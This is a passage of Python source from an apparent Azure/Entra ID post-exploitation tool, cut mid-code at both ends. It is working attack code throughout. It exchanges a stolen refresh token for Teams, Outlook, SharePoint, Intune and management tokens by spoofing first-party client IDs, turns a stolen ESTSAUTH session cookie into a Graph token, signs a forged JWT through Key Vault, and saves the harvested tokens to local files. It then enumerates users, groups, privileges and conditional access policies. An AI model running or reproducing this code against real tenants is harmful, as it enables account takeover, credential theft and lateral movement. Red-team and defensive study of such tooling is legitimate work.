"1fec8e78-bce4-4aaf-ab1b-5451cc387264" - refresh_token = access_token - resource = "https://api.spaces.skype.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "teams_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get MS Teams token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtoofficeappstoken - elif args.command and args.command.lower() == "invoke-refreshtoofficeappstoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeAppsToken command") - return - - print_yellow("\n[*] Invoke-RefreshToOfficeAppsToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = access_token - resource = "https://officeapps.live.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "officeapps_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Office Apps token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtoofficemanagementtoken - elif args.command and args.command.lower() == "invoke-refreshtoofficemanagementtoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeManagementToken command") - return - - print_yellow("\n[*] Invoke-RefreshToOfficeManagementToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "00b41c95-dab0-4487-9791-b9d2c32c80f2" - refresh_token = access_token - resource = "https://manage.office.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "officemanagement_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Office Management token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtooutlooktoken - elif args.command and args.command.lower() == "invoke-refreshtooutlooktoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOutlookToken command") - return - - print_yellow("\n[*] Invoke-RefreshToOutlookToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://outlook.office365.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "outlook_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Outlook token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtosubstratetoken - elif args.command and args.command.lower() == "invoke-refreshtosubstratetoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSubstrateToken command") - return - - print_yellow("\n[*] Invoke-RefreshToSubstrateToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://substrate.office.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "substrate_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Substrate token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtoyammertoken - elif args.command and args.command.lower() == "invoke-refreshtoyammertoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToYammerToken command") - return - - print_yellow("\n[*] Invoke-RefreshToYammerToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://www.yammer.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "yammer_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Yammer token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtointuneenrollmenttoken - elif args.command and args.command.lower() == "invoke-refreshtointuneenrollmenttoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToIntuneEnrollment command") - return - - print_yellow("\n[*] Invoke-RefreshToIntuneEnrollment") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://enrollment.manage.microsoft.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "intune_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Intune Enrollment token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtoonedrivetoken - elif args.command and args.command.lower() == "invoke-refreshtoonedrivetoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOneDriveToken command") - return - - print_yellow("\n[*] Invoke-RefreshToOneDriveToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = access_token - resource = "https://officeapps.live.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "onedrive_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get OneDrive token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtosharepointtoken - elif args.command and args.command.lower() == "invoke-refreshtosharepointtoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSharePointToken command") - return - - print_yellow("\n[*] Invoke-RefreshToSharePointToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = access_token - - try: - sharepoint_tenant = input("\nEnter SharePoint Tenant Name: ").strip() - use_admin = input("Use Admin Suffix '-admin' (yes/no): ").strip().lower() == 'yes' - admin_suffix = '-admin' if use_admin else '' - - except KeyboardInterrupt: - sys.exit() - - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - resource = f"https://{sharepoint_tenant}{admin_suffix}.sharepoint.com" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("\n[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "sharepoint_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get SharePoint token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-certtoaccesstoken - elif args.command and args.command.lower() == "invoke-certtoaccesstoken": - if not args.tenant or not args.cert or not args.id: - print_red("[-] Error: --tenant, --cert, and --id arguments are required for Invoke-CertToAccessToken command") - return - - print_yellow("\n[*] Invoke-CertToAccessToken") - print("=" * 80) - tenant_id = args.tenant - client_id = args.id - cert_path = args.cert - - try: - audience = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - with open(cert_path, 'rb') as cert_file: - pfx_data = cert_file.read() - - private_key, certificate, *_ = pkcs12.load_key_and_certificates(pfx_data, None, default_backend()) - # calculate x5t (X.509 cert SHA-1 thumbprint) - fingerprint = certificate.fingerprint(hashes.SHA1()) - x5t = base64.urlsafe_b64encode(fingerprint).rstrip(b'=').decode('ascii') - - payload = { - 'sub': client_id, - 'nbf': datetime.now(timezone.utc), - 'exp': datetime.now(timezone.utc) + timedelta(minutes=120), - 'iat': datetime.now(timezone.utc), - 'iss': client_id, - 'aud': audience - } - - private_key_pem = private_key.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.TraditionalOpenSSL, - encryption_algorithm=serialization.NoEncryption() - ) - - jwt_token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers={'kid': fingerprint.hex().upper(), 'x5t': x5t}) - user_agent = get_user_agent(args) - headers = { - 'Content-Type': 'application/x-www-form-urlencoded', - 'User-Agent': user_agent - } - - data = { - 'grant_type': 'client_credentials', - 'client_id': client_id, - 'client_assertion_type': 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer', - 'client_assertion': jwt_token, - 'scope': 'https://graph.microsoft.com/.default' - } - - try: - response = requests.post(f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", headers=headers, data=data) - response.raise_for_status() - - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "cert_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get certificate access token: {str(e)}") - print_red(response.text) - - except Exception as e: - print_red(f"[-] Error loading .pfx file: {str(e)}") - print("=" * 80) - - # invoke-estscookietoaccesstoken - elif args.command and args.command.lower() == "invoke-estscookietoaccesstoken": - if not args.tenant or not args.estsauthcookie: - print_red("[-] Error: --tenant and --estsauthcookie are required for Invoke-ESTSCookieToAccessToken command") - return - - print_yellow("\n[*] Invoke-ESTSCookieToAccessToken") - print("=" * 80) - user_agent = get_user_agent(args) - - try: - client = input("\nEnter Client (MSTeams, MSEdge, AzurePowerShell): ").strip() - if client == "": - client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" - print("Using Default Client: MSTeams") - elif client == "MSTeams": - client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" - elif client == "MSEdge": - client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a" - elif client == "AzurePowerShell": - client_id = "1950a258-227b-4e31-a9cf-717495945fc2" - else: - print_red(f"[-] Invalid client: {client}") - print("=" * 80) - sys.exit() - - except KeyboardInterrupt: - sys.exit() - - print() - resource = "https://graph.microsoft.com/" - - headers = { - "User-Agent": user_agent - } - - ests_auth_cookie = get_access_token(args.estsauthcookie) - session = requests.Session() - - if ests_auth_cookie.startswith("ESTSAUTH="): - session.cookies.set("ESTSAUTH", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") - elif ests_auth_cookie.startswith("ESTSAUTHPERSISTENT="): - session.cookies.set("ESTSAUTHPERSISTENT", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") - else: - print_red("[-] Invalid ESTS cookie format") - print("=" * 80) - sys.exit() - - state = str(uuid.uuid4()) - redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" - auth_url = f"https://login.microsoftonline.com/common/oauth2/authorize?{urlencode({'response_type': 'code', 'client_id': client_id, 'resource': resource, 'redirect_uri': redirect_uri, 'state': state})}" - - response = session.get(auth_url, headers=headers, allow_redirects=False) - - if response.status_code == 302: - location = response.headers['Location'] - parsed_url = urlparse(location) - query_params = parse_qs(parsed_url.query) - - if 'code' in query_params: - refresh_token = query_params['code'][0] - else: - print_red("[-] Code not found in redirected URL path") - print_red(f" Requested URL: {auth_url}") - print_red(f" Response Code: {response.status_code}") - print_red(f" Response URI: {location}") - print("=" * 80) - return None - else: - print_red("[-] Expected 302 redirect but received other status") - print_red(f"[-] Requested URL: {auth_url}") - print_red(f"[-] Response Code: {response.status_code}") - print_red("[-] The request may require user interaction to complete, or the provided cookie is invalid") - print("=" * 80) - return None - - if refresh_token: - token_url = "https://login.microsoftonline.com/common/oauth2/token" - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "authorization_code", - "redirect_uri": redirect_uri, - "code": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - token_response = session.post(token_url, headers=headers, data=body) - token_response_json = token_response.json() - access_token = token_response_json.get('access_token') - - if access_token: - print_green("[+] Token Obtained!\n") - for key, value in token_response_json.items(): - print(f"[*] {key}: {value}") - - file_path = "estscookie_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - print("=" * 80) - else: - print_red("[-] Failed to obtain access token.") - print("=" * 80) - return None - else: - print_red("[-] Refresh token is missing.") - print("=" * 80) - return None - - # invoke-appsecrettoaccesstoken - elif args.command and args.command.lower() == "invoke-appsecrettoaccesstoken": - if not args.tenant or not args.id or not args.secret: - print_red("[-] Error: --tenant, --id, and --secret required for Invoke-AppSecretToAccessToken command") - return - - print_yellow("\n[*] Invoke-AppSecretToAccessToken") - print("=" * 80) - - tenant_id = args.tenant - client_id = args.id - client_secret = args.secret - - token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - token_data = { - 'grant_type': 'client_credentials', - 'client_id': client_id, - 'client_secret': client_secret, - 'scope': 'https://graph.microsoft.com/.default' # can change e.g. 'https://management.azure.com/.default' for Az - } - - # check cae for client_credential grants - - user_agent = get_user_agent(args) - headers = { - "User-Agent": user_agent - } - - try: - token_response = requests.post(token_url, data=token_data, headers=headers) - token_response.raise_for_status() - token_json = token_response.json() - - print_green("[+] Token Obtained!\n") - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "appsecret_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get app secret token: {str(e)}") - if 'token_response' in locals(): - print_red(token_response.text) - - print("=" * 80) - - # new-signedjwt - elif args.command and args.command.lower() == "new-signedjwt": - if not args.tenant or not args.id: - print_red("[-] Error: --tenant and --id required for New-SignedJWT command") - return - - print_yellow("\n[*] New-SignedJWT") - print("=" * 80) - try: - kvURI = input("\nEnter Key Vault Certificate Identifier URL: ").strip() - except KeyboardInterrupt: - sys.exit() - keyName = kvURI.split('/certificates/', 1)[-1].split('/', 1)[0] - - # cert details - kv_uri = f"{kvURI.split('/certificates/')[0]}/certificates?api-version=7.3" - - headers = { - "Authorization": f"Bearer {access_token}" - } - - response = requests.get(kv_uri, headers=headers) - response.raise_for_status() - - certs = response.json() - cert_uri = next((c for c in certs['value'] if keyName in c['id']), None) - - if not cert_uri: - raise Exception("Certificate not found.") - - cert_id = cert_uri['id'] - cert_uri_with_version = f"{cert_id}?api-version=7.3" - - response = requests.get(cert_uri_with_version, headers=headers) - response.raise_for_status() - - certificate = response.json() - x5t = certificate.get('x5t') - kid = certificate.get('kid') - - print_green("\n[+] Certificate Details Obtained!") - print(f"kid: {kid or 'N/A'}") - print(f"x5t: {x5t or 'N/A'}") - - # create JWT - print_green("\n[+] Forged JWT:") - app_id = args.id - audience = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token" - - now = datetime.now(timezone.utc) - jwt_expiration = int((now + timedelta(minutes=2)).timestamp()) - not_before = int(now.timestamp()) - - jwt_header = { - "x5t": x5t, - "typ": "JWT", - "alg": "RS256" - } - - jwt_payload = { - "exp": jwt_expiration, - "sub": app_id, - "nbf": not_before, - "jti": str(uuid.uuid4()), - "aud": audience, - "iss": app_id - } - - def base64url_encode(data): - return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=') - - # encode header and payload - header_encoded = base64url_encode(json.dumps(jwt_header)) - payload_encoded = base64url_encode(json.dumps(jwt_payload)) - - # construct unsigned JWT - unsigned_jwt = f"{header_encoded}.{payload_encoded}" - - jwt_sha256_hash = hashlib.sha256(unsigned_jwt.encode()).digest() - jwt_sha256_hash_b64 = base64.urlsafe_b64encode(jwt_sha256_hash).decode().rstrip('=') - - # sign JWT - new_uri = f"{kid}/sign?api-version=7.3" - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "Accept": "application/json", - "User-Agent": user_agent - } - request_body = { - "alg": "RS256", - "value": jwt_sha256_hash_b64 - } - - response = requests.post(new_uri, headers=headers, json=request_body) - response.raise_for_status() - signature = response.json()['value'] - - signed_jwt = f"{unsigned_jwt}.{signature}" - print(signed_jwt) - - # request azure management token - jwt_login = f"https://login.microsoftonline.com/{args.tenant}/oauth2/v2.0/token" - - parameters = { - "client_id": args.id, - "client_assertion": signed_jwt, - "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", - "scope": "https://management.azure.com/.default", - "grant_type": "client_credentials" - } - - response = requests.post(jwt_login, data=parameters) - - if not response.ok: - print(f"[-] Error: {response.status_code} ({response.reason}). {response.text}") - else: - print_green("\n[+] Azure Management Token Obtained!") - print(f"[*] Application ID: {args.id}") - print(f"[*] Tenant ID: {args.tenant}") - print("[*] Scope: https://management.azure.com/.default") - - response_json = response.json() - for key, value in response_json.items(): - print(f"[*] {key}: {value}") - print("=" * 80) - - - ########################## - # Post-Auth Enuemeration # - ########################## - - # get-currentuser - elif args.command and args.command.lower() == "get-currentuser": - print_yellow("\n[*] Get-CurrentUser") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - - else: - print_red(f"[-] Failed to retrieve current user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-currentuseractivities - elif args.command and args.command.lower() == "get-currentuseractivities": - print_yellow("\n[*] Get-CurrentUserActivity") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/activities" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-orginfo - elif args.command and args.command.lower() == "get-orginfo": - print_yellow("\n[*] Get-OrgInfo") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/organization" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-domains - elif args.command and args.command.lower() == "get-domains": - print_yellow("\n[*] Get-Domains") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/domains" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-user - elif args.command and args.command.lower() == "get-user": - print_yellow("\n[*] Get-User") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/users" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if args.id: - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - if 'value' in response_json: - for user in response_json['value']: - for key, value in user.items(): - print(f"{key}: {value}") - print() - else: - print_red("[-] No users found or unexpected response format") - else: - print_red(f"[-] Failed to retrieve user(s): {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-userproperties - if args.command and args.command.lower() == "get-userproperties": - print_yellow("\n[*] Get-UserProperties") - print("=" * 80) - for p in properties: - if not args.id: - api_url = f"https://graph.microsoft.com/v1.0/me?$select={p}" - else: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}?$select={p}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - print(f"{p}: {response_json.get(p, 'N/A')}") - else: - print_red(f"[-] Failed to retrieve {p}: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-userprivileges - elif args.command and args.command.lower() == "get-userprivileges": - print_yellow("\n[*] Get-UserPrivileges") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/memberOf" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/memberOf" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-usertransitivegroupmembership - elif args.command and args.command.lower() == "get-usertransitivegroupmembership": - print_yellow("\n[*] Get-UserTransitiveGroupMembership") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/transitiveMemberOf" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-group - elif args.command and args.command.lower() == "get-group": - print_yellow("\n[*] Get-Group") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/groups" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if args.id: - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - if 'value' in response_json: - for user in response_json['value']: - for key, value in user.items(): - print(f"{key}: {value}") - print() - else: - print_red("[-] No users found or unexpected response format") - else: - print_red(f"[-] Failed to retrieve user(s): {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-groupmember - elif args.command and args.command.lower() == "get-groupmember": - if not args.id: - print_red("[-] Error: --id argument is required for Get-GroupMember command") - return - print_yellow("\n[*] Get-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}/members" - if args.select: - api_url += f"?$select={args.select}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if 'value' in response_json and response_json['value']: - for item in response_json['value']: - for key, value in item.items(): - if key != "@odata.type": - if isinstance(value, list): - print(f"{key} :") - for list_item in value: - print(f" - {list_item}") - elif isinstance(value, dict): - print(f"{key} :") - for sub_key, sub_value in value.items(): - print(f" {sub_key} : {sub_value}") - else: - print(f"{key} : {value}") - print("\n") - else: - print_red("[-] Error: No members found in this group") - else: - print_red(f"[-] Failed to retrieve group members: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-userapproleassignments - elif args.command and args.command.lower() == "get-userapproleassignments": - print_yellow("\n[*] Get-UserAppRoleAssignments") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/appRoleAssignments" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/appRoleAssignments" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-conditionalaccesspolicy - elif args.command and args.command.lower() == "get-conditionalaccesspolicy": - if not args.id: - print_red("[-] Error: --id argument is required for Get-ConditionalAccessPolicy command") - return - - print_yellow("\n[*] Get-ConditionalAccessPolicy") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - - else: - print_red(f"[-] Failed to retrieve CAP: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-application - elif args.command and args.command.lower() == "get-application": - if not args.id: - print_red("[-] Error: --id argument is required for Get-Application command") - return - - print_yellow("\n[*] 